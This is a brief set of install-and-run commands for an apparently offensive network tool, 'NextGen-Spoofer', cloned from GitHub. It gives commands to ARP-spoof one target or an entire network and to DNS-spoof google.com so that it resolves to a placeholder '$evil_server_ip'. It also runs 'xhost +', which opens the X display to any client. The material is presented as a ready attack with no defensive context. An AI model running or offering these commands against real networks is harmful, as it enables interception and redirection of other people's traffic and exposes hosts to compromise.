apt-get update

# Prerequisites
apt-get install build-essential python-dev libnetfilter-queue-dev python3-tk

git clone https://github.com/saladandonionrings/NextGen-Spoofer.git
cd NextGen-Spoofer
pip install -r requirements.txt

# if errors with Netfilterqueue, use this (works perfectly for debian/kali) :
sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue

python arp_spoof_nxgenspf.py [-s] [-a]
# [-s] : single target
# [-a] : all network is targeted

# you can run it as root or non-root user
xhost +
python3 nextgen_spoofer.py

python dns_spoof_nxgenspf.py -d google.com -s $evil_server_ip